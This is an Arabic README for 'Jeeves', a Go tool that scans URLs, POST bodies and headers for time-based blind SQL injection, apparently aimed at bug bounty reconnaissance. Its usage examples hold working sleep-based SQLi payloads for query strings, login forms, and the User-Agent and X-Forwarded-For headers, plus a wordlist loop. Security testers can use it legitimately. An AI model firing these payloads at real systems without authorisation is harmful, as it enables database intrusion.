
أداة كشف حقن SQL الأعمى القائم على الوقت لأغراض الاستطلاع ومكافآت الثغرات. تقبل عناوين URL مفردة أو قوائم، وتدعم الرؤوس المخصصة والخادم الوسيط وبيانات POST للمسح الآلي للثغرات.
تثبيت Jeeves 💀
$ go install github.com/ferreiraklet/Jeeves@latest
OR
$ git clone https://github.com/ferreiraklet/Jeeves.git
$ cd Jeeves
$ go build jeeves.go
$ chmod +x jeeves
$ ./jeeves -h
في عملية الاستطلاع الخاصة بك، قد تجد نقاط نهاية قد تكون عرضة لحقن SQL، مثال: https://redacted.com/index.php?id=1
echo 'https://redacted.com/index.php?id=your_time_based_blind_payload_here' | jeeves -t payload_time
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(10)))v)" | jeeves -t 10
في --payload-time يجب عليك استخدام الوقت المذكور في الحمولة
cat targets | jeeves --payload-time 5
انتبه إلى الصياغة! يجب أن تكون متطابقة =>
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -H "Testing: testing;OtherHeader: Value;Other2: Value"
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 --proxy "http://ip:port"
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -p "http://ip:port"
الخادم الوسيط + الرؤوس =>
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5 --proxy "http://ip:port" -H "User-Agent: xxxx"
إرسال البيانات عبر طلب POST (نماذج تسجيل الدخول، إلخ)
انتبه إلى الصياغة! يجب أن تكون متطابقة! ->
echo "https://example.com/Login.aspx" | jeeves -t 10 -d "user=(select(0)from(select(sleep(5)))v)&password=xxx"
echo "https://example.com/Login.aspx" | jeeves -t 10 -H "Header1: Value1" -d "username=admin&password='+(select*from(select(sleep(5)))a)+'" -p "http://yourproxy:port"
يمكنك استخدام Jeeves مع أدوات أخرى، مثل gau وgauplus وwaybackurls وqsreplace وbhedak، لإتقان قوته.
علامات سطر الأوامر:
Usage:
-t, --payload-time, The time from payload
-p, --proxy Send traffic to a proxy
-c Set Concurrency, Default 25
-H, --headers Custom Headers
-d, --data Sending Post request with data
-h Show This Help Message
الاستخدام مع قائمة حمولات SQL
cat sql_wordlist.txt | while read payload;do echo http://testphp.vulnweb.com/artists.php?artist= | qsreplace $payload | jeeves -t 5;done
الاختبار في الرؤوس
echo "https://target.com" | jeeves -H "User-Agent: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
echo "https://target.com" | jeeves -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
Payload credit: https://github.com/rohit0x5
ملاحظة:
إذا حدث أي خطأ في البرنامج، تواصل معي فورًا.
Nilo - يتحقق مما إذا كان عنوان URL له حالة 200
Blisqy حقن SQL قائم على الوقت في الرؤوس